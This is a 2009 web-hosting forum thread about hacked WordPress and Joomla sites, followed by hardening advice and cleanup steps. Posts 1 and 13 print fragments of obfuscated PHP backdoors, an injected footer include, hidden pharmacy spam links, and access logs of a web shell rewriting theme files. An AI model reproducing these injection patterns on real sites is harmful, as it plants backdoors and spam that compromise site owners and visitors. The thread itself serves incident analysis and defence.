Page 1 of 3 123 LastLast
Results 1 to 25 of 61
  1. #1
    Join Date
    Oct 2006
    Location
    Guanajuato
    Posts
    35

    Wordpress and Joomla sites hacked

    First, I installed "integrit" on my server last month, and set up a cron job to run it every night. It was because if integrit that I spotted this.

    What happened is, new files were added to the root directories. In one case, "licensel.php". In another, "img20300.php". What they did is take the name of a file that already exists in the directory, such as "license.txt" or "img2030.html", and add an apparently random character to the first part of the file name.

    The first part of this new file looks like this:
    -----

    <?php
    # stripScripts: function() {
    # getElementsBySelector: Element.Methods.select,
    /* */
    $OXt7Yd='.......'.'..............................'.'..........M5c0HztdF'.'bO..
    .'.'o...RCl6UsIk2TAX7LS';
    # element = $(element);
    # var results = [];
    # window.attachEvent("onunload", destroyCache);
    $OXt7Yd.='J4K/PEraeZD......u8i'.'BgpN1xVjy=GYf.9WwmhnQv3.....';
    /* }, */
    // };
    # var nodes = $(element).getElementsByTagName('*');
    # element = $(element);
    $Ayox7Dy49='Gnjl1urlLzPC1nrl'.'6nCaYletRJ'.'Fex3gC67r2WshCLIif8sC2RZKf9ldKWs0fLz
    gC'.'6Bew8s7QLIjQYsgh6nCy8Cr2';
    -----

    What has also happened is, the footer.php file in some of the Wordpress themes now looks like this:
    -----

    </div>^M^M<div id="footer">^M <p>&copy; <?php bloginfo('name'); ?> — Copyblogger theme design by x</p>^M <?php wp_footer(); ?>^M</div>^M
    ^M<?php @include_once ( '/home/' . '' . 'rb' . 'r' . 'ough' .
    't/' . '' . 'tobacc' . 'ofreew' . 'or' . 'ld' . '.c' . ''
    . 'a' . '/' . '' . 'wp-' . 'ad' . 'min/in' . '' . 'c
    ' . '' . '' .'ludes' . '/class' . '-ftp' . '-pure' . 'r.' .
    'ph' . 'p'); ?>
    </body>^M</html>
    -----

    The beginning of the class-ftp-purer.php file this would have included looks like this:
    -----

    <?php
    # }
    /* */
    $pw5KfFGg='......................................'.'.....H....YaZv5LweIk'.'..
    .n.'.'..W'.'u83m2K9tGRCfpDygNiF7PzoVl..';
    /* function _endBlock() */
    # * for the trailing context.
    /* <label for=" echo $data['print_style']; "> */
    // function _deleted($lines)
    $pw5KfFGg.='....dEAsM1TcBrQ=j'.'hJb.U0S6XxO+4.....';
    // <label for=" echo $data['pullquotes_js']; "> _e('JavaScript:','hybrid'); </
    label>
    /* */
    $LUXX='8JYPhEHPvDoZhJHPaJZB2PQ6GgdQ2'.'JYE1A4ZG'.'La+KYKMYbZRKrHYYLhd8O96'.'G
    gdQo'.'JnWaLcH8Lad1A4jhP4E2LfXp';

  2. #2
    Hello,

    The main reason for files getting hacked is the default permissions which Joomla gives is 777 which is world writable. I would suggest you give 775 permissions to be on safer side if your PHP is running as DSO. The files only get hacked when password is compromised or insecure permissions is given.

  3. #3
    Join Date
    Apr 2004
    Location
    Germany
    Posts
    37
    @roberb7:
    You made a report, but did not ask a question. Is there something you would like to know or did you just post this to inform others?

  4. #4
    Most account compromises are initiated by using a remote command inclusion vulnerability within an existing web application. The issue might be the result of poor or lack of security on the part of one or more user accounts, including shared or weak passwords, insecure permissions on important configuration files ( allowing full read access globally ), and other factors. Please be sure that the following steps are taken to assist in preventing further intrusions:

    - Perform a complete audit of your account and applications. Ensure that all content available was made available only by yourself and that any information, including applications login credentials that don't match up are removed.

    - Any PHP scripts should be chmod 600 at the very least. Any PHP scripts that contain important information, such as MySQL database connection information should be chmod 400. By Default these files are likely permissioned to 644 which will allow global read access to the file by any user on the system.

    - Any applications that are connecting to MySQL database should be doing so with their own individual MySQL database login credentials. Never should a set of credentials be recycled or used elsewhere. You should also avoid using your system username and password as an authorization point for these applications.

    - Passwords should be 16+ characters in length and contain a mixed case of letters and numbers and should be modified on a regular basis ( twice monthly at the very least ). A password should never be used for more than one service or provider, ever!

    - Any 3rd party or custom PHP, Perl and other web applications should be kept up to date at all times. Subscribe to the software vendors security or update notifications mailing list. If an application is no longer required or in use, remove it completely. Disabling the application is not always a sure fire means of disallowing intrusion attempts.

  5. #5
    Join Date
    May 2009
    Posts
    31
    You can add mod_Security to apache and add the sec2 rules. If you are using cpanel server you can add the rules in

    /usr/local/apache/conf/modsec2.conf

    Mod_security will prevent further SQL injection and iframe attacks in the server. Also please have a look on all the sites hosted in the server for any possible malware. You can get the mod_sec2 installation script

    reference: 403security
    ---------------------------------------
    echo "This will walk you through the installation of Mod_Security"
    echo "rules on a cPanel server."
    echo "These rules are only compatible with Apache 2+ and Mod_security 2.5+"
    echo
    echo "Any previous configuration can be overwritten if re-installing."
    echo "Please be sure to backup any customizations that have previously been made"
    echo

    echo "What directory would you like to use to hold the rules?"
    echo "Default: /usr/local/apache/conf/modsec_rules"
    echo "Enter an aboslute path or press enter to use the default directory."
    echo
    read RULEDIR

    DEFDIR="/usr/local/apache/conf/modsec_rules"

    if [ -z "$RULEDIR" ]; then
    echo "Nothing was entered. Using default directory $DEFDIR"
    RULEDIR="$DEFDIR"
    fi

    if [ -d $RULEDIR ]; then
    echo "Directory already exists. Backing up current directory"
    mv $RULEDIR $RULEDIR.`date +%m%d%Y-%H%M`
    fi

    mkdir $RULEDIR
    if [ -d $RULEDIR ]; then
    echo "Directory created successfully"
    else
    echo "Directory creation failed. Check path to ensure it was"
    echo "entered properly. Installation aborted"
    exit 0
    fi

    echo "Downloading latest rules from 403Security.org"
    wget -O /tmp/modsec_rules.tar.gz http://403security.org/modsec/modsec_rules.tar.gz

    echo "Unpacking rules"
    tar -xzf /tmp/modsec_rules.tar.gz -C $RULEDIR

    chown -R root:root $RULEDIR

    echo "Downloading primary mod_security configuration from 403Security.org."
    wget -O /tmp/modsec2.conf.gz http://403security.org/modsec/modsec2.conf.gz
    wget -O /tmp/modsec2.user.conf.gz http://403security.org/modsec/modsec2.user.conf.gz

    echo "Unpacking configuration file"
    gunzip /tmp/modsec2.conf.gz
    gunzip /tmp/modsec2.user.conf.gz
    echo "Backing up current configuration"
    cp -f /usr/local/apache/conf/modsec2.conf /usr/local/apache/conf/modsec2.conf.403bak
    cp -f /usr/local/apache/conf/modsec2.user.conf /usr/local/apache/conf/modsec2.user.conf.403bak
    sed "s%/usr/local/apache/conf/modsec_rules/%$RULEDIR/%g" /tmp/modsec2.conf > /usr/local/apache/conf/modsec2.conf
    sed "s%/usr/local/apache/conf/modsec_rules/%$RULEDIR/%g" /tmp/modsec2.user.conf > /usr/local/apache/conf/modsec2.user.conf

    echo "Testing configuration to be sure there are no errors"
    echo
    /usr/local/apache/bin/httpd -t 2>/tmp/apachechk
    APACHECHK=`grep "Syntax OK" /tmp/apachechk`
    if [[ $APACHECHK = "Syntax OK" ]]; then
    echo $APACHECHK
    echo "Apache configuration PASSED!"
    echo
    echo "Would you like to restart Apache to enable the new mod_security rules? (y or n)"
    read HTTPDRESTART
    if [ $HTTPDRESTART = "y" ]; then
    echo "Restarting Apache. (may take up to 2 minutes to restart)"
    /scripts/restartsrv_httpd
    else
    echo "You will need to restart Apache manually, when your ready to enable the new rules"
    echo "You can do this by issuing the command, /scripts/restartsrv_httpd"
    echo "Press ENTER to continue"
    fi
    else
    echo "Apache Configuration FAILED!"
    echo $APACHECHK
    echo
    echo "Restoring backup configuration file"
    cp -f /usr/local/apache/conf/modsec2.conf /usr/local/apache/conf/modsec2.conf.bad
    cp -f /usr/local/apache/conf/modsec2.conf.403bak /usr/local/apache/conf/modsec2.conf
    echo "Moved failed configuration to /usr/local/apache/conf/modsec2.conf.bad"
    echo "Check the error above and resolve any conflicts before attempting the installation again"
    fi

    echo "Cleaning up"
    rm -f /tmp/modsec_rules.tar.gz
    rm -f /tmp/modsec2.conf
    rm -f /tmp/modsec2.conf.gz
    #rm -f /tmp/apachechk
    rm -f /tmp/modsec2.user.conf
    rm -f /tmp/modsec2.user.conf.gz

    echo "Installation complete"
    exit 0

  6. #6
    Join Date
    Mar 2009
    Location
    Chicago, IL
    Posts
    219
    WHy has no one mentioned "update your apps"? That's the first thing you should do and verify before you start applying extra layers of security.

    As a side note, the above mod_sec rules isn't necessarily a good idea as it's a blanket ruleset used to cover just about every app out there. Everytime Apache handles a request it has to filter it through all of those rules before fully processing it. Those rulesets contain thousands of different filters for just about everything under the sun. They're meant to be parsed for applications you use and then applied as necessary. Expect a noticeable processor hit by running that script.

  7. #7
    Join Date
    Feb 2008
    Location
    WI
    Posts
    38

    Joomla permissions

    Quote Originally Posted by linux-engineer View Post
    Hello,

    The main reason for files getting hacked is the default permissions which Joomla gives is 777 which is world writable. I would suggest you give 775 permissions to be on safer side if your PHP is running as DSO. The files only get hacked when password is compromised or insecure permissions is given.
    Joomla (and Drupal, Wordpress etc.) does not require permissions higher then 755 for directories and 644 for files and does not set permissions higher (it never has) on it's own unless specifically configured by the user to (then only for new files) after install from the configuration screens in the administration backend of Joomla. Joomla takes the domains default settings (which should be 644/755 and except as noted below in a special case) when it installs. This includes later creation of files/directories for new extensions etc. again unless specifically overridden by the Joomla administrator.

    It is recommended and constantly preached on the Joomla forums, the docs and faq's to not set permissions higher than the recommended default and if it is absolutely necessary because of server configuration, then to change back to safe permissions after completion of the task on the files/directories that were elevated. One of the main reasons of being hacked when using Joomla are servers running php as an apache module and forcing your client users to change permissions on directories and files to 777 so they can write to them when installing templates, extensions, photo directories, allowing site author users to edit and upload their articles from the front end, or changing configurations in configuration files. These clients (Joomla administrators) rarely will change the permissions back to a safer level.

    Many Joomla administrators are inexperienced in security and do not understand the importance of proper permissions for a site. A host site that forces users to set certain directories and files to 777 (as referenced above)in order to have a usable Joomla site is not helping. I also constantly see posts in the Joomla forums of people using way outdated (thus with security holes) Joomla installs. What can be done about forcing Joomla admins to keep Joomla, extensions, templates etc. current I don't really know, probably nothing really effective.

    Many people on the Joomla forums (http://forum.joomla.org/) will recommend finding a hosting service or using servers that run php as cgi along with suexec (or similar) and mod_Security so your clients are not forced to set higher permissions and set the server to not allow permissions higher than 755 for directories and 644 for files. I think there is also a security FAQ recommending selecting a hosting site that meets certain requirements and the reasons for those requirements. Few people apparently read the FAQ's on security. and few apparently head the big warnings in the administrator backend of Joomla when permissions on files and directories are not correct.

    In a special case I have also found that if you open a downloaded Joomla package on a typical windows machine add a config file, repackage and upload it to the domain, then extract that package on the domain, all directories and files the package contained will be set to 777 permissions, despite having default settings on the domain of 644 files/755 directories. This can happen apparently with any packaged file that was packaged on windows in that the windows permissions are kept when unpackaged on a server. Many Joomla users again will not know this or how to either request changing the permissions from tech support or using putty to make the changes if ssh is even an option for them. A typical Joomla install has at least 57 thousand files and many directories which precludes manually changing permissions if this happens. They just leave it as is; and why not the site is working.

    Phil

  8. #8
    Join Date
    Jul 2005
    Posts
    447
    Quote Originally Posted by SA-ChrisM View Post
    WHy has no one mentioned "update your apps"? That's the first thing you should do and verify before you start applying extra layers of security.
    See post #4 paragraph 6.

  9. #9
    Join Date
    Oct 2006
    Location
    Guanajuato
    Posts
    35
    An update.

    1. The culprit is the IP address 208.109.163.59.

    2. The vulnerability is in WordPress 2.7.

    3. It looks like the bot running on 208.109.163.59 was able to walk right into wp-admin for the site. Here's what I see in access.log:

    208.109.163.59 - - [14/Jul/2009:19:47:40 -0700] "POST / HTTP/1.1" 403 520 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3" 208.109.163.59 - - [14/Jul/2009:19:47:40 -0700] "POST /wp-atom.php HTTP/1.1" 403
    531 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3"
    208.109.163.59 - - [14/Jul/2009:19:47:40 -0700] "POST /wp-login.php HTTP/1.1" 403 532 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3"
    208.109.163.59 - - [14/Jul/2009:19:47:40 -0700] "GET /wp-login.php HTTP/1.1" 200 2395 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3"
    208.109.163.59 - - [14/Jul/2009:19:47:40 -0700] "POST /wp-login.php HTTP/1.1" 302 1124 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3"
    208.109.163.59 - - [14/Jul/2009:19:47:41 -0700] "GET /wp-admin/ HTTP/1.1" 200 47944 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3"
    208.109.163.59 - - [14/Jul/2009:19:47:43 -0700] "GET /wp-admin/options-misc.php HTTP/1.1" 200 13712 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3"
    208.109.163.59 - - [14/Jul/2009:19:47:44 -0700] "GET /wp-admi/templates.php?file=index.php HTTP/1.1" 404 563 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3"
    208.109.163.59 - - [14/Jul/2009:19:47:44 -0700] "GET /wp-admin/templates.php?file=wp-blog-header.php HTTP/1.1" 404 563 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3"

    The bot was then able to get into the theme editor. I can supply the rest of the access.log entries to anyone who is interested.

  10. #10
    Join Date
    Apr 2003
    Location
    Earth
    Posts
    156
    Block this user agent with Mod_Sec. Blocks 90% of this crap. I have never had a problem with this rule that I know of.

    SecRule HTTP_User-Agent "libwww-perl"

  11. #11
    Join Date
    Aug 2006
    Location
    Ashburn VA, San Diego CA
    Posts
    4,615
    Hard to believe hosts are forcing their users to use 777 on joomla, but it's true.

    Our servers utilize SuPHP, so PHP won't execute unless the folder is 755 and the script is 644.

    No permissions are required to be changed for Joomla, WP, or any other CMS to work properly.

    In fact, manually changing permissions will more than likely break your installation.

    Good mod_sec rules, CSF firewall, suphp, and proper permissions are a MUST. Not only will it make things very much easier for your users, it prevents hacks.
    Fast Serv Networks, LLC | AS29889 | DDOS Protected | Managed Cloud, Streaming, Dedicated Servers, Colo by-the-U
    Since 2003 - Ashburn VA + San Diego CA Datacenters

  12. #12
    Join Date
    Feb 2008
    Location
    WI
    Posts
    38
    libwww-perl - one reason to use or incorporate into the sites .htaccess the included htaccess.txt that comes with all Joomla full install packages. It's not just for seo. This was identified long ago and blocked by Joomlas included htaccess file. The file is not enabled by default as it is meant to be a user option to use it, incorporate it into an existing file or not use it, otherwise it could break a site that depends on the existing htaccess file to work like the user needs it to.

  13. #13
    Join Date
    Oct 2006
    Location
    Guanajuato
    Posts
    35

    Wordpress 2.8.1 site hacked

    This time, the culprit is 64.18.153.131.

    The immediate symptom is that same as for other Wordpress hacks I've seen; the footer.php file in the template had this stuff added to it:
    -----

    <p style="display: none"> <a href="http://www.studiotheatreclub.com/images
    /img/index.php?p=xanax-no-prescription-overnight-delivery">generic of xanax</a>

    <a href="http://www.studiotheatreclub.com/images/img/index.php?p=phentermine-ove
    rnight-fedex">phentermine overnight fedex</a>
    <a href="http://www.studiotheatreclub.com/images/img/index.php?p=tramaadol">tram
    adol apap 37.5 mg</a>
    <a href="http://www.studiotheatreclub.com/images/img/index.php?p=buy-xanax-with-
    no-prescription">xanax xr 5</a>
    -----

    The access.log file shows how this got there:
    -----

    64.18.153.131 - - [27/Jul/2009:03:17:52 -0700] "POST /wp-content/uploads/2009/06/fonction.php?f=/home/rbrought/causs.ca/wp-content/themes/vSlider2/footer.php HTTP/1.1" 200 298 "-" "-"
    -----

    and, in /wp-content/uploads/2009/06/ , there are two new files that were placed there 24 hours earlier, fonction.php and wp-links.php. fonction.php starts like this:
    -----

    <?php
    $o="QAAAO29zams5Cg0nJztvYmZjOQACO3Nuc2tiOU9ia2toOygA0woYQA07KAHSAJBlaGN+AvA7OHdv
    dwoAAA0oKCdVQlFOVE5IST0nI1UAAGJxPSc/NDInIwoNCg10YnMAAFhzbmpiWGtuam5zLzQxNzcAADcu
    PAoNYXJpZHNuaGkncmkAAHRrZnRvWHViZC8hI2Z1dS4SwAoNfAihdWIDwC8BIgMAJydwb25rAABiJy9r
    ----

    and wp-links.php starts like this:
    -----

    <?php
    $o="QAEAOzh3b3cKDQAjYnV1aHVYdWIAAHdodXNuaWAvMC48Cg1HdGIAAHNYamZgbmRYdnJoc2J0WHUA
    gHJpc25qYi83AfFoZVh0c2Z1JABzLwDRI2oBkSc6J2J/d2toY2IAEy8gJyArJ2puZHVoAZEvLgJSAwLg
    SAEBApADI1w2WicsJwDEN1oHYGNiYSAkbmkEAFRGWFVISFMEYHRzCbJrZkkEZAFwW1sBICAoAFBjbnVp
    ZgjQWFgAZEFOS0JYWC4uKQGABoEoKARVTlQOAFhQTkkC0ARAADAvV09XWEhUKydADCABYS4nOCc2Jz0n
    -----

    How did these get there? Searching access.log for the previous day for 64.18.153.131 turned up this:
    -----

    64.18.153.131 - - [26/Jul/2009:04:09:21 -0700] "GET / HTTP/1.1" 200 79220 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; bgft)"
    64.18.153.131 - - [26/Jul/2009:04:09:24 -0700] "POST /wp-content/uploads/2009/06/fonction.php?f=%2Fhome%2Frbrought%2Fcauss.ca%2Fwpcontent%2Fthemes%2FvSlider2%2Ffooter.php HTTP/1.1" 200 273 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; bgft)"
    64.18.153.131 - - [26/Jul/2009:04:09:24 -0700] "GET / HTTP/1.1" 200 79241 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; bgft)"
    64.18.153.131 - - [26/Jul/2009:04:09:26 -0700] "POST /wp-content/uploads/2009/06/fonction.php?f=%2Fhome%2Frbrought%2Fcauss.ca%2Fwpcontent%2Fthemes%2FvSlider2%2
    Ffooter.php HTTP/1.1" 200 457 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; bgft)"

  14. #14
    Join Date
    Feb 2008
    Location
    WI
    Posts
    38
    I don't use Wordpress but much of the info below will also apply.

    It looks like the uploads directory in Wordpress (/wp-content/uploads/) is the common problem on your site. I may be wrong though, but that is where I would start.

    First inspect everything in any uploads directories (this includes all your Wordpress and Joomla installs on the server) and any uploads sub directories. If you can remove (delete) the uploads directories and any subdirectories they contain. Recreate the structure for them. Be sure to set the proper permission of 755 on the directories.

    I would be suspect of any files in any directory that contains uploaded files.

    If you have not done so, change your directory permissions on all directories to 755 and all files to 644. If 755 prevents uploading files on your particular server setup, then protect the images, media and cache, uploads etc. directories with a blank index.html file and also add an .htaccess file to each directory to prevent execution of any file uploaded or placed in those directories. Examples can be found on the forum. I believe the one below offers adequate protection.

    Create a text file named .htaccess and place in directory you want to protect. If your using a windows computer to make the file, you will probably have to name the file htaccess.txt. After uploading the file you can rename it .htaccess

    Do not overwrite the htaccess.txt file included with Joomla!!! In fact this default file should be renamed .htaccess and used as it helps protect your Joomla install from common attacks. If Wordpress does not include a similar htaccess file, you can use the one included with Joomla to help protect Wordpress.

    Code:
    # Don't list contents, that would be bad :D
        IndexIgnore *
        Options All -Indexes
        # Secure directory by disabling script execution
        AddHandler cgi-script .php .php2 .php3 .php4 .php5 .php6 .php7 .php8 .pl .py .jsp .asp .htm .html .shtml .sh .cgi
        Options -ExecCGI
        # Don't show this file, that would be bad as well!
        <Files .htaccess>
        order allow,deny
        deny from all
        </Files>
    You can use the code above to help protect any directory such as the images templates and uploads directory that does not normally have code executed within it. This protection will not prevent someone from uploading something they shouldn't, but it will prevent execution of what they uploaded.

    Also a good idea to enable the htaccess.txt file in the Joomla root by renaming it to .htaccess as it will help protect from some common exploits.

    A blank index.html file (not really blank) will prevent listing a directories contents tree if someone types in the url to the directory in their browser. This can be placed in any directory to prevent directory listing from a browser.

    Create a new file called index.html
    add the following to it in html saying authorization required or create your own message

    Code:
    <html>
    <style type="text/css">
    <!--
    .style1 {
       font-size: 24px;
       font-weight: bold;
    }
    -->
    </style>
    <body>
    <div align="center"><span class="style1">Authorization Required!</span></div>
    </body>
    </html>
    Something else to look for is any odd subdirectories you, Joomla, wordpress did not create.

    Also change the login password on your domain, all mysql passwords for the databases, and any ftp passwords on the domain. If anonymous ftp is allowed then disable it.

    Also if you have not done so make sure you are using the latest version of Joomla (1.0.15 I think or 1.5.13 depending on the series your using) and Wordpress. This includes any extensions and templates you are using. Do not reuse any files without first inspecting them, to make sure they are clean and are valid (are actually photos for example) including images, photos and configuration files.

    Also consider removing all files and directories in your Joomla and Wordpress sites and putting a fresh set of files (fresh download) from the full package install of those programs. In Joomla if you leave the configuration.php file then most of the site configuration will be done. Once the new files are uploaded, remove the install directory. You don't need to replace the database or run the install again, just upload the files. All you need to do extra is fresh installs of any extensions and set those back up.

    If any directory needs to be set at a permission looser than 755 or any file needs to be set higher than 644 on your site to enable your sites to work properly for any reason, I suggest you look for a new better host.

    For questions or help on Joomla you can go here: http://forum.joomla.org/

    Forgot, also change any administrator usernames and passwords on Joomla and Wordpress and check the installs for any user who has administration rights but you did not give them to the person. Make the password something like \b0GIqyz'D that uses alphanumeric and special characters and is at least 10 characters long. In fact all your passwords should be of this type and at least 10 characters long. Use a password manager such as KeePass to make and store them.
    Last edited by PhilD; 07-27-2009 at 06:36 PM. Reason: Forgot some info

  15. #15
    Make sure you have upgraded your wordpress to the latest version.
    Also change the ftp config permission to 644. Change your password after upgrading and also make sure that the hacker does not create another user.
    Create a password protect directory for the wp-admin. Delete the unnecessary and disable plugins that has left in the plugins directory.
    SUPPORT FACILITY | 24/7 TECH SUPPORT
    SERVER MANAGEMENT | WEB HOSTING SUPPORT | WP EXPERTS

  16. #16
    Join Date
    Oct 2006
    Location
    Guanajuato
    Posts
    35
    Quote Originally Posted by inspiron View Post
    Make sure you have upgraded your wordpress to the latest version.
    There's not much point in doing this if the vulnerability that I've identified here is still present in the latest version of Wordpress.

  17. #17
    Join Date
    Apr 2004
    Location
    Germany
    Posts
    37
    Quote Originally Posted by roberb7 View Post
    The access.log file shows how this got there:
    -----

    64.18.153.131 - - [27/Jul/2009:03:17:52 -0700] "POST /wp-content/uploads/2009/06/fonction.php?f=/home/rbrought/causs.ca/wp-content/themes/vSlider2/footer.php HTTP/1.1" 200 298 "-" "-"
    -----
    Find out how /wp-content/uploads/2009/06/fonction.php got there (search your web server logs for earlier occurences of 'fonction.php'). This script is most likely a PHP shell/defacement script. Its presence is a sympton of another problem, possibly a vulnerability in your copy of Wordpress (which you may or may not have fixed in the meantime).

  18. #18
    Join Date
    Apr 2004
    Location
    Germany
    Posts
    37
    Quote Originally Posted by roberb7 View Post
    There's not much point in doing this if the vulnerability that I've identified here is still present in the latest version of Wordpress.
    Your subject line of 'Wordpress 2.8.1 site hacked' seems to indicate that you are running the latest version of Wordpress there. Is the first mention of 'fonction.php' in your Apache logs earlier than when you last upgraded Wordpress? Are there any other scripts installed on the same VirtualHost (or within the same security context, for this matter)?

  19. #19
    Join Date
    Feb 2008
    Location
    WI
    Posts
    38
    Does the host have mod_security installed and set up properly on their servers? If not. ask them to set it up.

    Mod_security will keep a bunch of morons away from your web space as already stated several times. If the host won't set up mod_security, then find another host. I see hundreds of "hits" in my apache logs for my sites and not one has ever been sucessful. mod_security has stopped everyone of them.

    It is always wise to keep upgraded to the latest version of content management systems you use. Also wise to keep upgraded to the latest versions of any extensions the systems use.

    I think you are looking at the logs and coming to the wrong conclusions. Anything that is not on a server that utilizes SuPHP, so PHP won't execute unless the folder is 755 and files are 644 and utalizes mod_security and requires anything higher than 755/644 permissions in order to function will be hacked eventually. what your probably seeing is some automated script hitting your site from various proxie addresses. Now that your site has been "found to be an easy hack" word is passed that this is an easy target to hit on.

    If you make use of the suggestions posted above by several people including me, your problems are likely to go away permanently. if you do not clean, inspect and implement the security measures than the problems will continue. While all CMS systems from time to time have security problems, the authors do try to keep up with making them more secure as new exploits are found. This is why the first recomendation is always to use the latest version. To keep blaming a CMS for the lack of proper server setup which is your hosts responsibility and site security/updates which is your responsibility is getting nowhere.

    Have you actually implemented any of the suggestions posted? You have not actually stated you have done anything other than look at the logs and attempt to block each new proxy address which is futile to say the least.

    I provided an .htaccess file that will prevent execution of scripts from directories like the /wp/uploads/ directory. did you install it in the uploads directory?

    Unfortunately, in today's web environment the days of just slapping something up on a site without a worry are long gone. The website administrator now has to be pro-active (hate that word ) in site security.

  20. #20
    Join Date
    Jun 2008
    Location
    India
    Posts
    266
    also try to change your mysql user passwords
    Ranjith
    Light travels faster thn sound.This is why some people look bright until you actually hear them speak

  21. #21
    Join Date
    Oct 2006
    Location
    Guanajuato
    Posts
    35
    I just discovered that there were two "admin" users in the _users table that I didn't know about.

    These users didn't appear in the dashboard list until I removed all records for these two users from the _usermeta table.

    It's worth pointing out that the "upgrade to the latest version" advice is useless in this situation, since the _users table is carried over when you upgrade.

    So, here's what I suggest; look up the email address of your legitimate "admin" user. Go into mysql, and:

    select * from {prefix}_users where user_email='xxx@yyy.com';

    If you were hacked the same way that I was, you'll probably get more than one row from this.

    Then, you can:

    delete from {prefix}_usermeta where user_id=xxx;

    After you do this, you should be able to see the "backdoor" user in the dashboard list, and just delete it.

  22. #22
    Join Date
    Oct 2006
    Location
    Guanajuato
    Posts
    35
    Quote Originally Posted by roberb7 View Post
    I just discovered that there were two "admin" users in the _users table that I didn't know about.

    These users didn't appear in the dashboard list until I removed all records for these two users from the _usermeta table.
    I've just found the same symptom in three other Wordpress sites.

  23. #23
    Join Date
    Jun 2008
    Location
    India
    Posts
    266
    here also...found a couple of sites with same type of attack
    Ranjith
    Light travels faster thn sound.This is why some people look bright until you actually hear them speak

  24. #24
    Join Date
    Feb 2005
    Location
    Australia
    Posts
    5,849
    Quote Originally Posted by mnaumann View Post
    Find out how /wp-content/uploads/2009/06/fonction.php got there (search your web server logs for earlier occurences of 'fonction.php'). This script is most likely a PHP shell/defacement script. Its presence is a sympton of another problem, possibly a vulnerability in your copy of Wordpress (which you may or may not have fixed in the meantime).
    Good advice. Try to find out how this file was originally placed in your uploads directory. Apart from a vulnerability in Wordpress (including earlier versions) there are other possibilities. Do you have any plugins running that allow users to upload content / avatars / anything at all? Do you have any editor or contributor users who might have weak passwords?

    One thing that can be useful for most cms-based sites is to disable PHP and cgi execution in directories used for file uploads (this won't work for template / plugin directories, but you shouldn't ever be allowing user uploads there anyway...). If you have access to set custom configurations (httpd.conf or its included files):
    Code:
    <Directory /path/to/wp-content/uploads>
      php_admin_flag engine off
      Options -ExecCGI
    </Directory>
    Quote Originally Posted by PhilD View Post
    Anything that is not on a server that utilizes SuPHP, so PHP won't execute unless the folder is 755 and files are 644 and utalizes mod_security and requires anything higher than 755/644 permissions in order to function will be hacked eventually.
    Phil, I agree with most of what you say, but it's important to note that suPHP and 755/644 permissions give you no protection whatsoever when it's your own site being attacked.
    Chris

    "Some problems are so complex that you have to be highly intelligent and well informed just to be undecided about them." - Laurence J. Peter

  25. #25
    Join Date
    Oct 2006
    Location
    Guanajuato
    Posts
    35
    Quote Originally Posted by rankris View Post
    here also...found a couple of sites with same type of attack
    Can we get a volunteer to notify the Wordpress people about this?

Page 1 of 3 123 LastLast

Similar Threads

  1. WebHostRadio.com Joomla or Wordpress?
    By THG-JD in forum Web Hosting Lounge
    Replies: 12
    Last Post: 06-08-2009, 01:15 PM
  2. Joomla/Wordpress designers-developers
    By Kikas in forum Design Requests
    Replies: 1
    Last Post: 02-23-2009, 07:57 PM
  3. Replies: 6
    Last Post: 08-06-2008, 02:21 PM
  4. wordpress or Joomla
    By bazb in forum Web Design and Content
    Replies: 13
    Last Post: 01-10-2008, 01:45 AM
  5. joomla wordpress drupal
    By aadhunik in forum New Members
    Replies: 0
    Last Post: 01-09-2007, 10:27 PM

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •